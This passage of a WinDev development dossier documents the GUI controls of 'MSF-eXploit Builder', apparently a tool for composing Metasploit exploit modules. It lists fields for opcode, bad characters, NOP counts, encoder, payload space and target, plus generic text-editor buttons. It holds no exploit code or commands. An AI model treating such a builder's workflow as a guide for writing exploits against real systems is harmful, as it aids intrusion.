Interrupteur : INT_AVOID_BADCHARS

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: &InterrupteurGB: Check box

Valeur initiale 0Ordre navigation 62Curseur survol 0Synchro Infos Partagées Non

Cadrage horz. GaucheCadrage vert. HautAltitude 51

Numéro aide 0

Opacité 100

Options FR: Filtrer les caractères interditsGB: Avoid badchars

Valeur persistante OuiOption multi-lignes Non

Page 783: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 789

Option format RTF Non

Image G:\Mes Projets\MSF-XB11\MediaPlayer_Cbox_Anim.gif

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Champ de saisie : KEY

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: &Mots clésGB: Keys

Ordre navigation 13Curseur survol 0Synchro Infos Partagées NonTouche TAB Oui

Cadrage horz. GaucheAltitude 12Retrait gauche 2Position X interne 82Largeur interne 180

Numéro aide 0

Opacité 100

Saisie manuscrite NonTaille de saisie 0Masque saisie FR,GB: 0Mode ellipse <Aucun>Lien automatique NonVerifier l'orthographe NonUnicode NonAsc. horizontal Non

Page 784: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 790

Asc. vertical NonAvec focus OuiHistorique des saisies NonValeur persistante NonBarre d'outils RTF Jamais

Gestion Euro Non

Ancrage BasTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Libellé : LIBURL

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: http://www.athias.frCurseur survol 0Synchro Infos Partagées Non

Altitude 21

Numéro aide 0

Opacité 100

Mode ellipse <Aucun>Unicode Non

Ancrage DroiteTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 785: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 791

Champ de saisie : MON_OPCODE

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: OpcodeOrdre navigation 33Curseur survol 0Synchro Infos Partagées NonTouche TAB Oui

Cadrage horz. GaucheAltitude 33Retrait gauche 2Position X interne 82Largeur interne 118

Numéro aide 0

Opacité 100

Saisie manuscrite NonTaille de saisie 0Masque saisie FR,GB: 0Mode ellipse <Aucun>Lien automatique NonVerifier l'orthographe NonUnicode NonAsc. horizontal NonAsc. vertical NonAvec focus OuiHistorique des saisies OuiValeur persistante NonBarre d'outils RTF Jamais

Gestion Euro Non

Ancrage <Aucun>

Page 786: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 792

Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Champ de saisie : NOM

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: &NomGB: Name

Ordre navigation 7Curseur survol 0Synchro Infos Partagées NonTouche TAB Oui

Cadrage horz. GaucheAltitude 6Retrait gauche 2Position X interne 82Largeur interne 267

Numéro aide 0

Opacité 100

Saisie manuscrite NonTaille de saisie 0Masque saisie FR,GB: 0Mode ellipse <Aucun>Lien automatique NonVerifier l'orthographe NonUnicode NonAsc. horizontal NonAsc. vertical NonAvec focus OuiHistorique des saisies NonValeur persistante Non

Page 787: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 793

Barre d'outils RTF Jamais

Gestion Euro Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Champ de saisie : OS

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: &OSGB: OS

Ordre navigation 11Curseur survol 0Synchro Infos Partagées NonTouche TAB Oui

Cadrage horz. GaucheAltitude 10Retrait gauche 2Position X interne 82Largeur interne 267

Numéro aide 0

Opacité 100

Saisie manuscrite NonTaille de saisie 0Masque saisie FR,GB: 0Mode ellipse <Aucun>Lien automatique NonVerifier l'orthographe NonUnicode NonAsc. horizontal Non

Page 788: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 794

Asc. vertical NonAvec focus OuiHistorique des saisies NonValeur persistante NonBarre d'outils RTF Jamais

Gestion Euro Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Champ de saisie : PAYLOAD_BADCHARS

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: &InterditGB: Bad Chars

Ordre navigation 19Curseur survol 0Synchro Infos Partagées NonTouche TAB Oui

Cadrage horz. GaucheAltitude 18Retrait gauche 2Position X interne 82Largeur interne 189

Numéro aide 0

Opacité 100

Saisie manuscrite NonTaille de saisie 0Masque saisie FR,GB: 0Mode ellipse <Aucun>

Page 789: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 795

Lien automatique NonVerifier l'orthographe NonUnicode NonAsc. horizontal NonAsc. vertical NonAvec focus OuiHistorique des saisies NonValeur persistante NonBarre d'outils RTF Jamais

Gestion Euro Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Champ de saisie : PAYLOAD_KEY

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: &Mots clésGB: Keywords

Ordre navigation 16Curseur survol 0Synchro Infos Partagées NonTouche TAB Oui

Cadrage horz. GaucheAltitude 15Retrait gauche 2Position X interne 82Largeur interne 267

Numéro aide 0

Opacité 100

Page 790: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 796

Saisie manuscrite NonTaille de saisie 0Masque saisie FR,GB: 0Mode ellipse <Aucun>Lien automatique NonVerifier l'orthographe NonUnicode NonAsc. horizontal NonAsc. vertical NonAvec focus OuiHistorique des saisies NonValeur persistante NonBarre d'outils RTF Jamais

Gestion Euro Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Champ de saisie : PAYLOAD_MAXNOPS

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: &nops maxGB: Max nops

Ordre navigation 23Curseur survol 0Synchro Infos Partagées NonTouche TAB Oui

Cadrage horz. GaucheAltitude 23Retrait gauche 2Position X interne 275

Page 791: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 797

Largeur interne 74

Numéro aide 0

Opacité 100

Saisie manuscrite NonTaille de saisie 0Masque saisie FR,GB: 0Mode ellipse <Aucun>Lien automatique NonVerifier l'orthographe NonUnicode NonAsc. horizontal NonAsc. vertical NonAvec focus OuiHistorique des saisies NonValeur persistante NonBarre d'outils RTF Jamais

Gestion Euro Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Champ de saisie : PAYLOAD_NOPS

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: &nops minGB: Min nops

Ordre navigation 17Curseur survol 0Synchro Infos Partagées NonTouche TAB Oui

Page 792: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 798

Cadrage horz. GaucheAltitude 16Retrait gauche 2Position X interne 82Largeur interne 74

Numéro aide 0

Opacité 100

Saisie manuscrite NonTaille de saisie 0Masque saisie FR,GB: 0Mode ellipse <Aucun>Lien automatique NonVerifier l'orthographe NonUnicode NonAsc. horizontal NonAsc. vertical NonAvec focus OuiHistorique des saisies NonValeur persistante NonBarre d'outils RTF Jamais

Gestion Euro Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 793: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 799

Champ de saisie : PAYLOAD_PREPENCODER

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: &PrepEncodeurGB: PrepEncoder

Ordre navigation 18Curseur survol 0Synchro Infos Partagées NonTouche TAB Oui

Cadrage horz. GaucheAltitude 17Retrait gauche 2Position X interne 82Largeur interne 267

Numéro aide 0

Opacité 100

Saisie manuscrite NonTaille de saisie 0Masque saisie FR,GB: 0Mode ellipse <Aucun>Lien automatique NonVerifier l'orthographe NonUnicode NonAsc. horizontal NonAsc. vertical NonAvec focus OuiHistorique des saisies NonValeur persistante NonBarre d'outils RTF Jamais

Gestion Euro Non

Ancrage <Aucun>

Page 794: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 800

Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Champ de saisie : PAYLOAD_SPACE

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: &Taille DispoGB: Space Available

Ordre navigation 15Curseur survol 0Synchro Infos Partagées NonTouche TAB Oui

Cadrage horz. GaucheAltitude 14Retrait gauche 2Position X interne 82Largeur interne 267

Numéro aide 0

Opacité 100

Saisie manuscrite NonTaille de saisie 0Masque saisie FR,GB: 0Mode ellipse <Aucun>Lien automatique NonVerifier l'orthographe NonUnicode NonAsc. horizontal NonAsc. vertical NonAvec focus OuiHistorique des saisies NonValeur persistante Non

Page 795: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 801

Barre d'outils RTF Jamais

Gestion Euro Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Libellé : RADTitle

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: MSF-eXploit BuilderCurseur survol 0Synchro Infos Partagées Non

Altitude 1

Numéro aide 0

Opacité 100

Mode ellipse A la finUnicode Non

Ancrage LargeurTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 796: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 802

Libellé : RADTitre

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: MSF-eXploit BuilderCurseur survol 0Synchro Infos Partagées Non

Altitude 4

Numéro aide 0

Opacité 100

Mode ellipse A la finUnicode Non

Ancrage LargeurTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Superchamp : SCRTF

Note pour le dossier

FR,GB: FR: Ce superchamp représente une barre d'outils. Il propose :

- d'aligner le texte (centrer, justifier,...) contenu dans le champ de saisie - de modifier la police, la couleur et la taille de la police - de faire un couper/copier/coller - de modifier la casse (gras, italique, souligné) - de lancer le correcteur orthographique de Word

GB: This supercontrol is a toolbox for text editing. It is used to: - align text (centered, justified), - select the font, color and size, - cut/copy/paste, - select the font style (bold, italic, underlined), - launch Word Spelling Checker.

Page 797: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 803

Ordre navigation 38

Altitude 38Largeur externe 629Hauteur externe 630

Numéro aide 0

Valeur persistante Non

Fichier parcouru 0

Ancrage Largeur et hauteurTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Superchamp : SCSelecteurFichier

Note pour le dossier

FR,GB: FR: Ce superchamp est un sélecteur de fichiers : il permet de sélectionner un fichier et d'afficher son chemin complet dans un champ de saisie.

La fonction utilisée pour la sélection est fSélecteur(). La valeur renvoyée par le superchamp est le chemin du fichier sélectionné.

GB: This supercontrol is a file picker. It is used to select a file and to display its full path in an edit control. fSelect() is used to select the file.

Ordre navigation 1

Altitude 5Largeur externe 723Hauteur externe 22

Numéro aide 0

Valeur persistante Non

Fichier parcouru 0

Ancrage LargeurTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 798: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 804

Superchamp : SCSystemButtons

Note pour le dossier

FR,GB: FR,GB: Ce superchamp est très utile pour les fenêtres sans barre de titre.

En effet, il simule les boutons système de la barre de titre d'une fenêtre : - Fermer - Agrandir/Restaurer - Iconiser

Ordre navigation 63

Altitude 2Largeur externe 128Hauteur externe 18

Numéro aide 0

Valeur persistante Non

Fichier parcouru 0

Ancrage DroiteTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Table : TABLE_REFERENCE

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: RéférencesGB: References

Double clic BTN_OUVRE_URLOrdre navigation 14Curseur survol 0

Hauteur ligne max. 0Hauteur ligne 18

Page 799: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 805

Sens VerticalAltitude 13Retrait gauche 2

Numéro aide 0

Opacité 100Hauteur des lignes redimensionnable Non

Déplacement au pixel OuiAsc. horizontal AutomatiqueAsc. vertical OuiMode de sélection Sélection simpleAff. résultats Sans affichageTitre multiligne OuiMenu ctx. colonne OuiMode menu ctx. <Aucun>

Nb. Enreg. Max 0Fichier parcouru 0

Ancrage HauteurTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Bouton : TROUVE_DATE

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: ?Ordre navigation 21Curseur survol 0On/Off Non

Altitude 20

Bulle d'aide FR: Retrouver la date de divulgation sur internetGB: Retrieve disclosure date from internet

Page 800: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 806

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Nb. états image 1Nb. états fond 1Etirement de l'image de fond <Aucun>Nb. étapes animation 1Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Champ de saisie : VERSION

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: &VersionGB: Version

Ordre navigation 8Curseur survol 0Synchro Infos Partagées NonTouche TAB Oui

Cadrage horz. GaucheAltitude 7Retrait gauche 2Position X interne 82Largeur interne 99

Numéro aide 0

Opacité 100

Page 801: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 807

Saisie manuscrite NonTaille de saisie 0Masque saisie FR,GB: 0Mode ellipse <Aucun>Lien automatique NonVerifier l'orthographe NonUnicode NonAsc. horizontal NonAsc. vertical NonAvec focus OuiHistorique des saisies NonValeur persistante NonBarre d'outils RTF Jamais

Gestion Euro Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Combo + table : COMBO_TARGETColonne de table : COMBO_TARGET.COL_Colonne1 (1)

Note pour le dossier

FR,GB: FR,GB:

Titre FR,GB: Colonne1Curseur survol 0Touche TAB Oui

Numéro aide 0

Taille de saisie 0Mot de passe NonMasque saisie FR,GB: 0

Page 802: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 808

Mode ellipse <Aucun>Verifier l'orthographe NonUnicode NonRetour à la ligne Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 0 Taux anc. hauteur 1000

Colonne de table : COMBO_TARGET.COL_Colonne2 (2)

Note pour le dossier

FR,GB: FR,GB:

Titre FR,GB: Colonne2Curseur survol 0Touche TAB Oui

Numéro aide 0

Taille de saisie 0Mot de passe NonMasque saisie FR,GB: 0Mode ellipse <Aucun>Verifier l'orthographe NonUnicode NonRetour à la ligne Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 0 Taux anc. hauteur 1000

Page 803: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 809

Colonne de table : COMBO_TARGET.COL_Colonne3 (3)

Note pour le dossier

FR,GB: FR,GB:

Titre FR,GB: Colonne3Curseur survol 0Touche TAB Oui

Numéro aide 0

Taille de saisie 0Mot de passe NonMasque saisie FR,GB: 0Mode ellipse <Aucun>Verifier l'orthographe NonUnicode NonRetour à la ligne Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 0 Taux anc. hauteur 1000

Colonne de table : COMBO_TARGET.COL_Colonne4 (4)

Note pour le dossier

FR,GB: FR,GB:

Titre FR,GB: Colonne4Curseur survol 0Touche TAB Oui

Numéro aide 0

Page 804: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 810

Taille de saisie 0Mot de passe NonMasque saisie FR,GB: 0Mode ellipse <Aucun>Verifier l'orthographe NonUnicode NonRetour à la ligne Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 0 Taux anc. hauteur 1000

Superchamp : SCRTFBouton : SCRTF.BTN_COLORATION

Note pour le dossier

FR,GB: FR,GB:

Ordre navigation 51Curseur survol 0On/Off Oui

Altitude 21

Bulle d'aide FR: Coloration syntaxiqueGB: Syntactical coloration

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Image FR,GB: G:\Mes Projets\MSF-XB11\VST18250-16-5.pngNb. états image 5Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gifNb. états fond 5

Page 805: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 811

Etirement de l'image de fond Largeur et hauteurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Bouton : SCRTF.BtnCentrer

Note pour le dossier

FR,GB: FR,GB:

Ordre navigation 16Curseur survol 0On/Off Oui

Altitude 14

Bulle d'aide FR: CentreGB: Centers

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Image FR,GB: G:\Mes Projets\MSF-XB11\BtnCentrer.gifNb. états image 5Nb. états fond 5Etirement de l'image de fond <Aucun>Nb. étapes animation 1Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>

Page 806: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 812

Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Bouton : SCRTF.BtnColler

Note pour le dossier

FR,GB: FR,GB:

Ordre navigation -1Curseur survol 0On/Off Non

Altitude 6

Bulle d'aide FR: ColleGB: Pastes

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Image FR,GB: G:\Mes Projets\MSF-XB11\Coller.GIFNb. états image 1Nb. états fond 5Etirement de l'image de fond <Aucun>Nb. étapes animation 1Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 807: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 813

Bouton : SCRTF.BtnCopier

Note pour le dossier

FR,GB: FR,GB:

Ordre navigation -1Curseur survol 0On/Off Non

Altitude 7

Bulle d'aide FR: CopieGB: Copies

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Image FR,GB: G:\Mes Projets\MSF-XB11\Copier.GIFNb. états image 1Nb. états fond 5Etirement de l'image de fond <Aucun>Nb. étapes animation 1Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 808: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 814

Bouton : SCRTF.BtnCorriger

Note pour le dossier

FR,GB: FR,GB:

Ordre navigation -1Curseur survol 0On/Off Non

Altitude 18

Bulle d'aide FR: Vérifie l'orthographe (MS Word requis)GB: Performs a spell check (MS Word required)

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Image FR,GB: G:\Mes Projets\MSF-XB11\BtnCorrecteur.gifNb. états image 1Nb. états fond 5Etirement de l'image de fond <Aucun>Nb. étapes animation 1Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 809: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 815

Bouton : SCRTF.BtnCouper

Note pour le dossier

FR,GB: FR,GB:

Ordre navigation -1Curseur survol 0On/Off Non

Altitude 8

Bulle d'aide FR: CoupeGB: Cuts

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Image FR,GB: G:\Mes Projets\MSF-XB11\Couper.GIFNb. états image 1Nb. états fond 5Etirement de l'image de fond <Aucun>Nb. étapes animation 1Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 810: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 816

Bouton : SCRTF.BtnDroite

Note pour le dossier

FR,GB: FR,GB:

Ordre navigation 17Curseur survol 0On/Off Oui

Altitude 15

Bulle d'aide FR: Aligne à droiteGB: Aligns to the right

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Image FR,GB: G:\Mes Projets\MSF-XB11\BtnDroite.gifNb. états image 5Nb. états fond 5Etirement de l'image de fond <Aucun>Nb. étapes animation 1Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 811: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 817

Bouton : SCRTF.BtnGauche

Note pour le dossier

FR,GB: FR,GB:

Ordre navigation 15Curseur survol 0On/Off Oui

Altitude 16

Bulle d'aide FR: Aligne à gaucheGB: Aligns to the left

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Image FR,GB: G:\Mes Projets\MSF-XB11\BtnGauche.gifNb. états image 5Nb. états fond 5Etirement de l'image de fond <Aucun>Nb. étapes animation 1Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 812: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 818

Bouton : SCRTF.BtnJustifier

Note pour le dossier

FR,GB: FR,GB:

Ordre navigation 18Curseur survol 0On/Off Oui

Altitude 17

Bulle d'aide FR: JustifieGB: Justifies

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Image FR,GB: G:\Mes Projets\MSF-XB11\BtnJustifier.GIFNb. états image 5Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gifNb. états fond 5Etirement de l'image de fond Largeur et hauteurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 813: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 819

Combo : SCRTF.Couleur

Note pour le dossier

FR,GB: FR,GB:

Ordre navigation -1Curseur survol 0Synchro Infos Partagées NonUtil. gLien pour valeur Non

Cadrage horz. GaucheOrientation verticale NonHauteur liste 200Largeur liste 100Larg. déroulée perso. NonHauteur ligne 15Altitude 1Retrait gauche 2Position X interne 677Largeur interne 100

Bulle d'aide FR: Couleur de la policeGB: Font Color

Numéro aide 0

Opacité 100

Taille de saisie 0Masque saisie FR,GB: ¤Unicode NonEffacement automatique NonFin saisie automatique NonAvec focus OuiRedimensionnable OuiMémorise la taille OuiHistorique des saisies NonHistorique des sélections NongLienActive Oui

Page 814: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 820

Valeur persistante Non

Nb. Enreg. Max 0Fichier parcouru 01ère ligne perso. Non

